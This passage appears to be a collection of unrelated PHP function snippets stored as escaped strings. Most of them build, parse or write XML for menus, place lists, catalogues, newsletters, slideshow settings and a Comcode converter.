$row['KODE_MENU'] ,$row['KODE_MENU_INDUK'], \"F\" , $row['NAMA_MENU'],\"\" . \"href\" , $row['KODE_MENU_MJ'] );\r\n\t\t\t } else {\r\n\t\t\t\t//$this->addLi($xml, $row['KODE_MENU'] ,'00000000', \"D\" , $row['NAMA_MENU'],\"\" . \"href\");\r\n\t\t\t\t$this->addLi($xml, $row['KODE_MENU'] , $row['KODE_MENU_INDUK'] , \"D\" , $row['NAMA_MENU'], \"\" , $row['KODE_MENU_MJ']);\r\n\t\t\t\t//$this->addLi($xml, $row['mod_code'], substr($row['mod_code'],0,2) . '000000' , \"D\" , $row['mod_name'], base_url() .\"index.php/\" . $row['mod_url']);\r\n\t\t\t }\r\n\t\t}\r\n\t\t$str = $xml->saveXML();\r\n\t\t\r\n\t\treturn $str;\t\r\n\t\t \r\n \r\n\t}", "function traiteFichierLieuDMF($t_filename,$t_idno_prefix,$nb_lignes_vides=0,$ligne_limite=0) {\n\tglobal $pn_locale_id, $VERBOSE, $DEBUG;\n\tglobal $vn_list_item_type_concept,$vn_list_item_label_synonym,$vn_place_other;\n\tglobal $t_list;\n\t\n\t$result= 0;\n\t$row = 1;\n\t$parent = array ();\n\t$nb_tab_pre=0;\n\t\n\t$explode_separator_array = array();\n\t$explode_separator_array[1][\"separator\"]=\" = \";\n\t$explode_separator_array[1][\"label_type\"]=$vn_list_item_label_synonym;\n\t\n\tprint \"traitement des lieux\\n\";\n\t\n\tif (($handle = fopen($t_filename, \"r\")) !== FALSE) {\n\t\t$contenu_fichier = file_get_contents($t_filename);\n\t\t$total=substr_count($contenu_fichier, \"\\n\");\n\t\t$contenu_fichier=\"\";\n\t\t\n\t\t$data=\"\";\n\t $parent_selected=1;\t\t\t\t\n\t\t\n\t while (($data = fgets($handle)) !== FALSE) {\n\t\t\t$libelle = str_replace(\"\\t\", \"\", $data);\n\t\t\t$libelle = str_replace(\"\\r\\n\", \"\", $libelle);\n\t\t\t\n\t\t\t// comptage du nb de tabulation pour connaître le terme parent\n\t\t\t$nb_tab = substr_count($data,\"\\t\");\n\t $row++;\n\t \n\t // Si aucune information n'est à afficher, on affiche une barre de progression\n\t if ((!$DEBUG) && (!$VERBOSE)) {\n\t \tshow_status($row, $total);\n\t }\n\t \n\t if (($row > $nb_lignes_vides + 1) && ($libelle !=\"\")) {\n\t\t \n\t\t if ($row == $ligne_limite) {\n\t\t \tprint \"limite atteinte : \".$ligne_limite.\" \\n\";\n\t\t \tbreak;\n\t\t \t//die();\n\t\t }\n\t\n\t\t\t\t// si plus d'une tabulation\n\t\t\t\tif (($nb_tab_pre != $nb_tab) && ($nb_tab > 0)) {\n\t\t\t\t\t$parent_selected=$parent[$nb_tab - 1];\n\t\t\t\t} elseif ($nb_tab == 0) {\n\t\t\t\t\t$parent_selected=1;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t// débuggage\n\t\t\t\tif ($DEBUG) print \"(\".$parent_selected.\") \".$nb_tab.\" \".$libelle;\n\t\t\t\t\n\t\t\t\t// insertion dans la liste\n\t\t\t\tif ($vn_place_id=getPlaceID($libelle, $t_idno_prefix.\"_\".($row-$nb_lignes_vides), $vn_place_other, $parent_selected, $explode_separator_array)) {\n\t\t\t\t} else {\n\t\t\t\t\tprint \"PLACE CREATION FAILED : \".$libelle.\" \";\n\t\t\t\t\tdie();\n\t\t\t\t}\n\t\n\t\t $parent[$nb_tab]=$vn_place_id;\n\t\t\t\t\n\t }\n\t \n\t $nb_tab_pre=$nb_tab;\n\t }\n\t fclose($handle);\n\t \tif ($VERBOSE) { print \"dmf_\".$t_idno_prefix.\" treated.\\n\";}\n\t \t$result = true;\n\t} else {\n\t\tprint \"le fichier n'a pu être ouvert.\";\n\t\t$result=false;\n\t} \n\treturn $result;\t\n}", "function compiler_xml_oasis($fichier, $contexte) {\n\n\t// separer nom, extension...\n\t$infos = pathinfo($fichier);\n\t$dir = $infos['dirname'] . '/';\n\t$ext = $infos['extension'];\n\t$nom = substr($infos['basename'], 0, -(strlen($ext)+1));\n\n\t// lire le content\n\tlire_fichier($fichier, $texte);\n\n\t// retablir les boucles\n\t$texte = preg_replace(\",&lt;([/]?B(.*))&gt;,U\",\"<\\\\1>\", $texte);\n\t\n\t// retablir les includes\n\t$texte = preg_replace(\",&lt;([/]?INCLU[RD]E(.*))&gt;,U\",\"<\\\\1>\", $texte);\n\t\n\t// falsifier l'en tete xml\n\t$texte = preg_replace(\",^<\".\"[?]xml,\",\"<@XML\", $texte);\n\n\t// ajouter les directives de cache/charset et mime-type\n\t$texte = \"#\".\"CACHE{0}\n\t#\".\"HTTP_HEADER{Content-type: text/xml; charset=UTF-8}\n\t$texte\";\n\n\n\t// ecrire le squelette et le fichier fonctions associe\n\tecrire_fichier(_DIR_TMP . $nom . \".html\", $texte);\n\tlire_fichier(_DIR_PLUGIN_SPIPODF . $nom . \"_fonctions.php\", $fonctions);\n\tecrire_fichier(_DIR_TMP . $nom . \"_fonctions.php\", $fonctions);\n\n\t// calculer le fond\n\tinclude_spip('inc/assembler');\n\t$texte = recuperer_fond(_DIR_TMP . $nom, $contexte);\n\t\n\t// nettoyer\n\t@unlink(_DIR_TMP.\"content_fonctions.php\");\n\t@unlink(_DIR_TMP.\"content.html\");\n\n\t$texte = preg_replace(\",^<@XML,\",\"<\".\"?xml\", $texte);\n\n\t// convertir les balises html ajoutees par propre en tags xml\n\t$texte = spip2odt_convertir($texte, $dir);\n\n\tecrire_fichier($fichier, $texte);\n\n}", "function buatfailxml($dataCantum, $year)\n{\n\t# creating object of SimpleXMLElement\n\t$xml_user_info = new SimpleXMLElement(\"<?xml version=\\\"1.0\\\"?><waktu_solat></waktu_solat>\");\n\n\t# function call to convert array to xml\n\tinclude 'class_php_xml.php';\n\tarray_to_xml($dataCantum,$xml_user_info);\n\n\t# saving generated xml file\n\t$namafail = 'waktu_solat_' . $year . '.xml';\n\t$xml_file = $xml_user_info->asXML($namafail);\n\t//$xml_file = $xml_user_info->asXML();\n\n\t# success and error message based on xml creation\n\tif($xml_file)\n\t{\n\t\techo 'XML file have been generated successfully. '\n\t\t. '<a target=\"_blank\" href=\"' . $namafail . '\">Click here</a>';\n\t\t//echo $xml_file;\n\t}\n\telse\n\t{\n\t\techo 'XML file generation error.';\n\t}\n\t//*/\n}", "function process(){\n\t\t\treturn $this->xml->dumpmem();\n\t\t}", "function geraClassesMapeamento(){\n # Abre o template da classe basica e armazena conteudo do modelo\n $modelo = Util::getConteudoTemplate('class.ModeloMAP.tpl');\n\n # Abre arquivo xml para navegacao\n $aBanco = simplexml_load_string($this->xml);\n\n # Varre a estrutura das tabelas\n foreach($aBanco as $aTabela){\n $copiaModelo = $modelo;\n # Recupera o nome da tabela e gera o nome da classe\n $nomeTabela = ucfirst((string)$aTabela['NOME']);\n $nomeTabelaOriginal = (string)$aTabela['NOME'];\n\n $nomeClasse = ucfirst($this->getCamelMode($nomeTabela));\n $objetoClasse = \"\\$o$nomeClasse\";\n # Varre a estrutura dos campos da tabela em questao\n $objToReg = $regToObj = $objToRegInsert = array();\n\n foreach($aTabela as $oCampo){\n # Processa nome original da tabela estrangeira\n $nomeFKClasse\t= ucfirst($this->getCamelMode((string)$oCampo->FKTABELA));\n $objetoFKClasse = $nomeFKClasse;\n\n # Testando nova implementacao - Tirar caso ocorrer erro\n if($nomeFKClasse == $nomeClasse)\n $objetoFKClasse = ucfirst(preg_replace(\"#^(?:id_?|cd_?)(.*?)#is\", \"$1\", (string)$oCampo->NOME));\n\n //$nomeCampo = $this->getCamelMode((string)$oCampo->NOME); Alteracao SUDAM\n $nomeCampo = (string)$oCampo->NOME;\n\n # Monta parametros a serem substituidos posteriormente\n if($oCampo->FKTABELA == ''){\n $objToReg[] = \"\\t\\t\\$reg['\".(string)$oCampo->NOME.\"'] = $objetoClasse\".\"->$nomeCampo;\";\n if($oCampo->CHAVE == \"0\"){\n $objToRegInsert[] = \"\\t\\t\\$reg['\".(string)$oCampo->NOME.\"'] = $objetoClasse\".\"->$nomeCampo;\";\n }\n $regToObj[] = \"\\t\\t$objetoClasse\".\"->$nomeCampo = \\$reg['$nomeTabelaOriginal\".\"_\".(string)$oCampo->NOME.\"'];\";\n \n }\n else{\n $objToReg[] = \"\\t\\t\\$o$objetoFKClasse = $objetoClasse\".\"->o$objetoFKClasse;\\n\\t\\t\\$reg['\".(string)$oCampo->NOME.\"'] = \\$o$objetoFKClasse\".\"->\".(string)$oCampo->FKCAMPO.\";\";\n if($oCampo->CHAVE == \"0\"){\n $objToRegInsert[] = \"\\t\\t\\$o$objetoFKClasse = $objetoClasse\".\"->o$objetoFKClasse;\\n\\t\\t\\$reg['\".(string)$oCampo->NOME.\"'] = \\$o$objetoFKClasse\".\"->\".(string)$oCampo->FKCAMPO.\";\";\n }\n $x \t\t= $this->retornaArvore((string)$oCampo->FKTABELA);\n $regToObj[] = \"\\n$x\\t\\t$objetoClasse\".\"->o$objetoFKClasse = \\$o$objetoFKClasse;\";\n }\n }\n\n # Monta demais valores a serem substituidos\n $objToReg = join($objToReg,\"\\n\");\n $objToRegInsert = join($objToRegInsert,\"\\n\");\n $regToObj = join($regToObj,\"\\n\");\n\n # Substitui todas os parametros pelas variaveis ja processadas\n $copiaModelo = str_replace('%%NOME_CLASSE%%', $nomeClasse, $copiaModelo);\n $copiaModelo = str_replace('%%OBJETO_CLASSE%%', $objetoClasse, $copiaModelo);\n $copiaModelo = str_replace('%%OBJ_TO_REG%%', $objToReg, $copiaModelo);\n $copiaModelo = str_replace('%%OBJ_TO_REG_INSERT%%', $objToRegInsert,$copiaModelo);\n $copiaModelo = str_replace('%%REG_TO_OBJ%%', $regToObj, $copiaModelo);\n\n $dir = dirname(dirname(__FILE__)).\"/geradas/\".$this->projeto.\"/classes/core/map\";\n\n if(!file_exists($dir)) \n mkdir($dir);\n\n $fp = fopen(\"$dir/class.$nomeClasse\".\"MAP.php\",\"w\");\n fputs($fp,$copiaModelo);\n fclose($fp);\n }\n return true;\t\n }", "function step_xml_parse_zone($xml){\n\n\t// enlever la balise doctype qui provoque une erreur \"balise non fermee\"\n\t$xml = preg_replace('#<!DOCTYPE[^>]*>#','',$xml);\n\tif (!is_array($arbre = spip_xml_parse($xml)) OR !is_array($arbre = $arbre['archives'][0])){\n\t\treturn false;\n\t}\n\n\t// boucle sur les elements pour creer un tableau array (url_zip => datas)\n\t$paquets = array();\t\t\t\n\tforeach ($arbre as $z=>$c){\n\t\t$c = $c[0];\n\t\t// si plugin et fichier zip, on ajoute le paquet dans la liste\n\t\tif ((is_array($c['plugin'])) AND ($url = $c['zip'][0]['file'][0])) {\n\t\t\t$paquets[$url] = array(\n\t\t\t\t'plugin' => step_xml_parse_plugin($c['plugin'][0]), \n\t\t\t\t'file' => $url, \n\t\t\t);\n\t\t}\n\t}\n\n\tif (!$paquets) {\n\t\treturn false;\n\t}\n\t\n\treturn $paquets;\n}", "function getChildNodes() ;", "function maquetacioItemsAgendaHoudini($model, $columna, $nomCaixa, $tipusCaixa, $ordre, $estilCaixa, $estilLlistat, $estilElement, $id_registre, $id_newsletter, $registre, $pathEditora)\n{\n global $CONFIG_URLBASE , $CONFIG_URLUPLOADIM; \n $parametres = '<input type=\"hidden\" name=\"newsletter['.htmlspecialchars($model).']['.htmlspecialchars($columna).']['.htmlspecialchars($nomCaixa).']['.htmlspecialchars($tipusCaixa).'][]['.htmlspecialchars($estilCaixa).']['.htmlspecialchars($estilLlistat).']['.htmlspecialchars($estilElement).']\" value=\"'.htmlspecialchars($id_registre).'\" />';\n \n $registre['ORIGEN'] = '<h4><a href=\"'.$CONFIG_URLBASE . $pathEditora . $registre['ID'] . '/' . $registre['URL_TITOL'] . '\" rel=\"external\" style=\"text-decoration:none;\">'.$registre['TITOL'].'</a></h4>';\n $imatge = $registre['IMATGE1'] != '' ? '<img src=\"' . $CONFIG_URLUPLOADIM . $registre['IMATGE1'] . '\" style=\"width: 159px;\" class=\"left\"/>' : '';\n \n return '<li id=\"ageh_reg' . $id_registre . '\" class=\"box removable stylable '.$estilElement.'\">\n\t\t\t'.$parametres.'\n\t\t\t<div class=\"spacer clearfix\">\n\t\t\t ' . $imatge . '\n\t\t\t\t'.$registre['ORIGEN'].'\n\t\t\t\t'.$registre['RESUM'].'\n\t\t\t</div>\n\t\t</li>';\n}", "function endElement($parser, $name) {\n\t\t\t $this->deserializedResponse[$this->elementName]= $this->elementValue;\n\t\t\t $this->elementName = \"\";\n\t\t\t $this->elementValue = \"\";\n\t\t}", "function modify_xml($tempPages = '', $piecemakerId, $tempTransitions = ''){\n\t\n\t\t$old_xml = $this->get_xml($piecemakerId);\n\t\n\t\tif($tempTransitions == '')\n\t\t\t$tempTransitions = $this->xml_to_table($piecemakerId, 'transitions');\n\t\t\t\n\t\tif($tempPages == '')\n\t\t\t$tempPages = $this->xml_to_table($piecemakerId, 'pages');\n\t\t\n\t\t$xml = $this->create_xml($old_xml->Settings->attributes()->ImageWidth, $old_xml->Settings->attributes()->ImageHeight, $old_xml->Settings->attributes()->LoaderColor, $old_xml->Settings->attributes()->InnerSideColor, $old_xml->Settings->attributes()->Autoplay, $old_xml->Settings->attributes()->FieldOfView, $old_xml->Settings->attributes()->SideShadowAlpha, $old_xml->Settings->attributes()->DropShadowAlpha, $old_xml->Settings->attributes()->DropShadowDistance, $old_xml->Settings->attributes()->DropShadowScale, $old_xml->Settings->attributes()->DropShadowBlurX, $old_xml->Settings->attributes()->DropShadowBlurY, $old_xml->Settings->attributes()->MenuDistanceX, $old_xml->Settings->attributes()->MenuDistanceY, $old_xml->Settings->attributes()->MenuColor1, $old_xml->Settings->attributes()->MenuColor2, $old_xml->Settings->attributes()->MenuColor3, $old_xml->Settings->attributes()->ControlSize, $old_xml->Settings->attributes()->ControlDistance , $old_xml->Settings->attributes()->ControlColor1, $old_xml->Settings->attributes()->ControlColor2, $old_xml->Settings->attributes()->ControlAlpha, $old_xml->Settings->attributes()->ControlAlphaOver, $old_xml->Settings->attributes()->ControlsX, $old_xml->Settings->attributes()->ControlsY, $old_xml->Settings->attributes()->ControlsAlign, $old_xml->Settings->attributes()->TooltipHeight, $old_xml->Settings->attributes()->TooltipColor, $old_xml->Settings->attributes()->TooltipTextY, $old_xml->Settings->attributes()->TooltipTextStyle, $old_xml->Settings->attributes()->TooltipTextColor, $old_xml->Settings->attributes()->TooltipMarginLeft, $old_xml->Settings->attributes()->TooltipMarginRight, $old_xml->Settings->attributes()->TooltipTextSharpness, $old_xml->Settings->attributes()->TooltipTextThickness, $old_xml->Settings->attributes()->InfoWidth, $old_xml->Settings->attributes()->InfoBackground, $old_xml->Settings->attributes()->InfoBackgroundAlpha, $old_xml->Settings->attributes()->InfoMargin, $old_xml->Settings->attributes()->InfoSharpness, $old_xml->Settings->attributes()->InfoThickness, $tempPages['allPages'], $tempTransitions['transition']);\n\n $xml_file = $this->plugin_path.$this->books_dir.\"/\".$piecemakerId.\".xml\";\n $config_file = fopen($xml_file, \"w+\");\n fwrite($config_file, $xml);\n fclose($config_file);\n\t}", "public function __toString(){\r\n return $this->saveXMl();\r\n }", "function parse()\n {\n $params=$this->layoutManager->getPluginParams(\"L\");\n $tLang=$params[\"lang\"];\n $el=$this->getSubElements();\n $id=$el[\"ID\"][\"text\"];\n $textNode=$el[\"C\"][\"node\"];\n $layoutContents=$textNode->contents;\n $nContents=count($layoutContents);\n if($nContents==0)\n return;\n\n $curVar=1;\n $phpCode=array();\n $newContents=array();\n $currentNode=array(\"TYPE\"=>\"HTML\",\"TEXT\"=>\"\");\n $newContents[]=$currentNode;\n /* Supongamos una lista de layoutContents del tipo HTML - PHP - HTML : ej: a <?php echo \"p\";?> b\n * Para buscar la traduccion, hay que actuar como si fuera 1 solo layoutContent de tipo a %1 b\n * Por eso, el resultado debe ser 1 solo layoutcontent de tipo HTML, aunque dentro, contenga codigo php.\n * \n */\n $html=\"\";\n for($k=0;$k<$nContents;$k++)\n { \n if($layoutContents[$k][\"TYPE\"]==\"HTML\")\n {\n $html.=$layoutContents[$k][\"TEXT\"];\n }\n else\n {\n if($layoutContents[$k][\"TYPE\"]==\"PHP\")\n {\n $html.=\"{%\".$curVar.\"}\";\n $phpCode[$curVar]=$layoutContents[$k][\"TEXT\"];\n $curVar++;\n }\n else\n {\n // Se traduce el nodo HTML actual\n $currentNode[\"TEXT\"]=$this->parseTranslation($tLang,$id,$phpCode,$html);\n // Se copia el nodo que hemos encontrado, tal cual (no es ni PHP ni HTML)\n $newContents[]=$layoutContents[$k];\n // Se crea el siguiente nodo HTML.\n $currentNode=array(\"TYPE\"=>\"HTML\",\"TEXT\"=>\"\");\n $newContents[]=$currentNode;\n $html=\"\";\n $phpCode=array();\n $curVar=1;\n }\n \n }\n } \n // Al llegar aqui, nos queda el ultimo nodo HTML creado.Hay que parsearlo.\n $currentNode[\"TEXT\"]=$this->parseTranslation($tLang,$id,$phpCode,$html);\n return $newContents;\n }", "function ParameterIndexXMLAuslesen($SuchType, $Knoten, $LByte)\r\n {\r\n // 1: Konten und LByte->XML_ID\r\n // 2: Konten und LByte->Text\r\n $xml = simplexml_load_file('ParameterIndexListe.xml');\r\n if ($SuchType == 1) {\r\n foreach ($xml->xpath('ParameterListIndexRow') as $Row) {\r\n If ($Row->Knoten == $Knoten and $Row->LByte == $LByte) {\r\n return utf8_decode($Row->ID);\r\n }\r\n }\r\n } else if ($SuchType == 2) {\r\n foreach ($xml->xpath('ParameterListIndexRow') as $Row) {\r\n If ($Row->Knoten == $Knoten and $Row->LByte == $LByte) {\r\n return utf8_decode($Row->Name);\r\n }\r\n }\r\n\t\t }\r\n }", "private function construct_xml_contain(){\r\n global $CFG;\r\n $xml = new SimpleXMLElement('<?xml version=\"1.0\" encoding=\"UTF-8\"?>'.'<!DOCTYPE root [<!ENTITY nbsp \"&#160;\">]>'.'<catalogue/>');\r\n\r\n foreach($this->offers as $offer){\r\n $resource_link = '';\r\n if (OfferCourse::isCentralizedRessourcesAvailable()) {\r\n if(isset($offer->thumbnailid) && $offer->thumbnailid != null){\r\n $DBC = get_centralized_db_connection();\r\n $cr_resource = $DBC->get_record('cr_resources', array('resourceid'=>$offer->thumbnailid));\r\n $resource_link = \"\";\r\n if($cr_resource){\r\n $url_resource = '/'.$CFG->centralizedresources_media_types['indexthumb'].'/'.$cr_resource->cleanname;\r\n $resource_link = get_resource_centralized_secure_url($url_resource, $cr_resource->hashname.$cr_resource->createdate, $CFG->secure_link_timestamp_image);\r\n }\r\n }\r\n }\r\n $formation = $xml->addChild('formation');\r\n if (isset($resource_link)){\r\n $formation->addChild('image', htmlspecialchars($resource_link));\r\n }\r\n $formation->addChild('nom_parcours', htmlspecialchars($offer->fullname));\r\n if (isset($offer->domain_name)){\r\n $formation->addChild('domaine', htmlspecialchars($offer->domain_name));\r\n }\r\n if (isset($offer->publics)){\r\n $formation->addChild('public', htmlspecialchars($offer->publics));\r\n }\r\n if (isset($offer->col_name)){\r\n $formation->addChild('collection', htmlspecialchars($offer->col_name));\r\n }\r\n if (isset($offer->authors)){\r\n $formation->addChild('formateur', htmlspecialchars($offer->authors));\r\n }\r\n if (isset($offer->summary)){\r\n $description = strip_tags($offer->summary,'');\r\n $formation->addChild('description', htmlspecialchars($description));\r\n }\r\n if (isset($offer->objectif)){\r\n $objectif = strip_tags($offer->objectif,'');\r\n $formation->addChild('objectifs', htmlspecialchars($objectif));\r\n }\r\n if (isset($offer->tps_en_presence)){\r\n $temps_presence = OfferCourse::string_format_time($offer->tps_en_presence);\r\n if($temps_presence == null){\r\n $temps_presence = get_string('no_lead_time_attendance', 'local_magistere_offers');\r\n }\r\n $formation->addChild('duree_presence', htmlspecialchars($temps_presence));\r\n }\r\n if (isset($offer->tps_a_distance)){\r\n $temps_distance = OfferCourse::string_format_time($offer->tps_a_distance);\r\n if($temps_distance == null){\r\n $temps_distance = get_string('no_lead_time_remote', 'local_magistere_offers');\r\n }\r\n $formation->addChild('duree_distance', htmlspecialchars($temps_distance));\r\n }\r\n if (isset($offer->validateby)){\r\n $formation->addChild('validation', htmlspecialchars($offer->validateby));\r\n }\r\n if (isset($offer->aca_name)){\r\n $formation->addChild('origine', OfferCourse::string_format_origine_offers($offer->aca_name));\r\n }\r\n if (isset($offer->timepublished)){\r\n $updatedate = (isset($offer->timepublished)?date('YmdHis',$offer->timepublished):date('YmdHis',$offer->updatedate));\r\n $formation->addChild('date_publication', $updatedate);\r\n }\r\n $formation->addChild('url', $offer->courseurl);\r\n }\r\n\r\n $this->xml_structure = $xml->asXML();\r\n }", "function maquetacioItemsNotHoudini($model, $columna, $nomCaixa, $tipusCaixa, $ordre, $estilCaixa, $estilLlistat, $estilElement, $id_registre, $id_newsletter, $registre, $pathEditora)\n{\n global $CONFIG_URLBASE, $CONFIG_URLUPLOADIM, $CONFIG_estilsElement;\n\n $parametres = '<input type=\"hidden\" name=\"newsletter['.htmlspecialchars($model).']['.htmlspecialchars($columna).']['.htmlspecialchars($nomCaixa).']['.htmlspecialchars($tipusCaixa).'][]['.htmlspecialchars($estilCaixa).']['.htmlspecialchars($estilLlistat).']['.htmlspecialchars($estilElement).']\" value=\"'.htmlspecialchars($id_registre).'\" />';\n\n $imatge = $registre['IMATGE1'] != '' ? '<img src=\"' . $CONFIG_URLUPLOADIM . $registre['IMATGE1'] . '\" style=\"width: 159px;\" class=\"left\"/>' : '';\n return '<li id=\"noth_reg' . $id_registre . '\" class=\"box removable stylable clearfix '.$estilElement.'\">\n\t\t\t'.$parametres.'\n\t\t\t<div class=\"spacer clearfix\">\n\t\t\t\t'. $imatge .'\n\t\t\t\t<h4><a href=\"'.$CONFIG_URLBASE . $pathEditora . '/' . $registre['ID'] . '/' . $registre['URL_TITOL'].'\" rel=\"external\">'.$registre['TITOL'].'</a></h4>\n\t\t\t\t<p>'.$registre['RESUM'].'</p>\n\t\t\t</div>\n\t\t</li>';\n}", "function list_render_xml3 (&$xml, $name, &$list, &$columns)\n{\n\tforeach ($list as $row) {\n\t\t$child = $xml->addChild ($name);\n\n\t\t// foreach col of columns\n\t\tforeach ($columns as $col) {\n\t\t\t$child->addChild ($col, $row[$col]);\n\t\t}\n\t}\n}", "private function _print_xml()\n\t{\n\t\n\t}", "function convertFinalisedElement($parser,$child_tempcode,$special_child_elements)\n\t{\n\t\t$this->marker=xml_get_current_byte_index($parser);\n\n\t\tglobal $VALID_COMCODE_TAGS,$COMCODE_XML_PARAM_RENAMING,$COMCODE_XML_SWITCH_AROUND;\n\t\t$conflict_tags=array('br','hr','table','tr','th','td');\n\t\t$aux_tags=array('html_wrap','comcode','br','hr','table','tr','th','td','float','fh','fd','emoticon','member','cedi','list','list_element','concepts','show_concept','block','block_param','random','random_target','jumping','jumping_target','shocker','shocker_left','shocker_right','directive','language','symbol','directive_param','language_param','symbol_param','attachment','attachment_description','hide','hide_title','tooltip','tooltip_message');\n\n\t\t// Tidy up tag name\n\t\t$namespace=array_peek($this->namespace_stack);\n\t\tif (is_null($namespace)) $namespace='';\n\t\t$tag=array_peek($this->tag_stack);\n\t\t$colon_pos=strrpos($tag,':');\n\t\tif ($colon_pos!==false)\n\t\t{\n\t\t\t$namespace=substr($tag,0,$colon_pos);\n\t\t\t$tag=substr($tag,$colon_pos+1);\n\t\t}\n\t\t$tag=from_camelCase($tag);\n\n\t\t// Tidy up attributes\n\t\t$attributes=array_peek($this->attribute_stack);\n\t\tforeach ($COMCODE_XML_PARAM_RENAMING as $_tag=>$comcode_xml_name)\n\t\t{\n\t\t\tif (($tag==$_tag) && (isset($attributes[$comcode_xml_name])))\n\t\t\t{\n\t\t\t\t$attributes['param']=$attributes[$comcode_xml_name];\n\t\t\t\tunset($attributes[$comcode_xml_name]);\n\t\t\t}\n\t\t}\n\t\tforeach ($attributes as $key=>$val)\n\t\t{\n\t\t\tunset($attributes[$key]);\n\t\t\t$attributes[from_camelCase($key)]=$val;\n\t\t}\n\n\t\t// Do any switching around (Comcode has different embed vs attribute semantics to XML)\n\t\tforeach (array_merge($COMCODE_XML_SWITCH_AROUND,array('email')) as $_tag)\n\t\t{\n\t\t\tif ($tag==$_tag)\n\t\t\t{\n\t\t\t\t$x='param';\n\t\t\t\tif ($tag=='reference') $x='title';\n\t\t\t\t$temp=array_key_exists($x,$attributes)?$attributes[$x]:'';\n\t\t\t\t$attributes[$x]=$child_tempcode->evaluate();\n\t\t\t\t$child_tempcode=make_string_tempcode($temp);\n\t\t\t}\n\t\t}\n\n\t\t$tempcode=new ocp_tempcode();\n\t\t$aggregate=true;\n\n\t\t$is_html=false;\n\t\tif (in_array($tag,$conflict_tags)) // These could be either XHTML or Comcode, so we need to check the namespace\n\t\t{\n\t\t\tif (strpos($namespace,'html')!==false) // HTML\n\t\t\t{\n\t\t\t\t$is_html=true;\n\t\t\t}\n\t\t} elseif (strpos($namespace,'html')!==false)\n\t\t{\n\t\t\tif ((!isset($VALID_COMCODE_TAGS[$tag])) && (!in_array($tag,$aux_tags)))\n\t\t\t{\n\t\t\t\t$is_html=true;\n\t\t\t}\n\t\t}\n\n\t\tif ($is_html)\n\t\t{\n\t\t\t$tempcode->attach('<'.$tag);\n\t\t\tforeach ($attributes as $key=>$val)\n\t\t\t{\n\t\t\t\t$tempcode->attach(' '.$key.'=\"'.escape_html($val).'\"');\n\t\t\t}\n\t\t\t$tempcode->attach('>');\n\t\t\t$tempcode->attach($child_tempcode);\n\t\t\t$tempcode->attach('</'.$tag.'>');\n\t\t} else\n\t\t{\n\t\t\tif (in_array($tag,$aux_tags))\n\t\t\t{\n\t\t\t\tswitch ($tag)\n\t\t\t\t{\n\t\t\t\t\tcase 'comcode':\n\t\t\t\t\t\t$tempcode=$child_tempcode;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'html_wrap':\n\t\t\t\t\t\t$tempcode=$child_tempcode;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'br':\n\t\t\t\t\t\t$tempcode=make_string_tempcode('<br />');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'hr':\n\t\t\t\t\t\t$tempcode=do_template('COMCODE_TEXTCODE_LINE');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'table':\n\t\t\t\t\t\t$tempcode=new ocp_tempcode();\n\t\t\t\t\t\tif (isset($attributes['summary']))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tempcode->attach('<table summary=\"'.escape_html($attributes['summary']).'\">');\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tempcode->attach('<table>');\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$tempcode->attach($child_tempcode);\n\t\t\t\t\t\t$tempcode->attach('</table>');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'tr':\n\t\t\t\t\t\t$tempcode->attach('<tr>');\n\t\t\t\t\t\t$tempcode->attach($child_tempcode);\n\t\t\t\t\t\t$tempcode->attach('</tr>');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'th':\n\t\t\t\t\t\t$tempcode->attach('<th style=\"vertical-align: top\">');\n\t\t\t\t\t\t$tempcode->attach($child_tempcode);\n\t\t\t\t\t\t$tempcode->attach('</th>');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'td':\n\t\t\t\t\t\t$tempcode->attach('<td style=\"vertical-align: top\">');\n\t\t\t\t\t\t$tempcode->attach($child_tempcode);\n\t\t\t\t\t\t$tempcode->attach('</td>');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'float':\n\t\t\t\t\t\t$tempcode->attach($child_tempcode);\n\t\t\t\t\t\t$tempcode->attach('<br style=\"clear: both\" />');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'fh':\n\t\t\t\t\t\t// Limited due to limitation of XML\n\t\t\t\t\t\t$i_dir_1='left';\n\t\t\t\t\t\t$i_dir_2='right';\n\n\t\t\t\t\t\t$tempcode->attach('<div style=\"padding-'.$i_dir_2.': 30px; float: '.$i_dir_1.'\">');\n\t\t\t\t\t\t$tempcode->attach($child_tempcode);\n\t\t\t\t\t\t$tempcode->attach('</th>');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'fd':\n\t\t\t\t\t\t$tempcode->attach('<div class=\"inline\">');\n\t\t\t\t\t\t$tempcode->attach($child_tempcode);\n\t\t\t\t\t\t$tempcode->attach('</div>');\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'emoticon':\n\t\t\t\t\t\t$smilies=$GLOBALS['FORUM_DRIVER']->find_emoticons(); // Sorted in descending length order\n\n\t\t\t\t\t\trequire_code('comcode_text');\n\n\t\t\t\t\t\t$_child_tempcode=$child_tempcode->evaluate();\n\t\t\t\t\t\tforeach ($smilies as $code=>$imgcode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($_child_tempcode==$code)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$eval=do_emoticon($imgcode);\n\t\t\t\t\t\t\t\t$tempcode=$eval;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'directive':\n\t\t\t\t\t\tif (!isset($special_child_elements['directiveParam'])) $special_child_elements['directiveParam']=array();\n\t\t\t\t\t\t$tempcode=directive_tempcode($attributes['type'],$child_tempcode,$special_child_elements['directiveParam']);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 'language':\n\t\t\t\t\t\tif (!isset($special_child_elements['languageParam'])) 